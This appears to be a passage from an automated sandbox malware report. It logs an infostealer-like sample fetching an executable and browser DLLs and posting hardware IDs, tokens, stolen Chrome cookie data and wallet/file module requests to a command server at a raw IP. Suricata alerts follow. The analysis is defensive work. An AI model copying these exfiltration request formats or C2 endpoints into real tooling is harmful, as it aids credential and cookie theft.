00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /app/l2.exe HTTP/1.1Host: evokeedgellc.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.152.113.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: 45.152.113.10Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 42 35 37 44 43 30 33 31 45 46 33 34 38 39 38 38 39 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 2d 2d 0d 0a Data Ascii: ------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="hwid"B8B57DC031EF3489889415------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="build"default------DAKFCGIJKJKFHIDHIIIE--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIIDHost: 45.152.113.10Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="message"browsers------KFBGCAKFHCFHJKECFIID--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJKEHCAKFBFHJKEHCFHost: 45.152.113.10Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 2d 2d 0d 0a Data Ascii: ------JJJJKEHCAKFBFHJKEHCFContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------JJJJKEHCAKFBFHJKEHCFContent-Disposition: form-data; name="message"plugins------JJJJKEHCAKFBFHJKEHCF--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJEHost: 45.152.113.10Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="message"fplugins------IEBFIEBAFCBAAAAKJKJE--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 45.152.113.10Content-Length: 5495Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/sqlite3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 45.152.113.10Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 45.152.113.10Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file"------JECBGCFHCFIDHIDHDGDG--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHHost: 45.152.113.10Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="file"------CAAAFCAKKKFBFIDGDBFH--
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/freebl3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/mozglue.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/msvcp140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/nss3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/softokn3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: 45.152.113.10Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIIDHost: 45.152.113.10Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="message"wallets------KFBGCAKFHCFHJKECFIID--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJECHost: 45.152.113.10Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="message"files------DHCBAEHJJJKKFIDGHJEC--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFBHost: 45.152.113.10Content-Length: 113375Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAAHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 2d 2d 0d 0a Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="message"ybncbhylepme------EGIJEBGDAFHIJJKEHCAA--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBGHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFBAKKFCBFHIIEBGIDBG--

Source: Joe Sandbox View	IP Address: 45.152.113.10 45.152.113.10
Source: Joe Sandbox View	IP Address: 198.54.120.231 198.54.120.231

Source: Joe Sandbox View

ASN Name: CODECCLOUD-AS-APCodecCloudHKLimitedHK CODECCLOUD-AS-APCodecCloudHKLimitedHK

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49708 -> 198.54.120.231:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49708 -> 198.54.120.231:443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
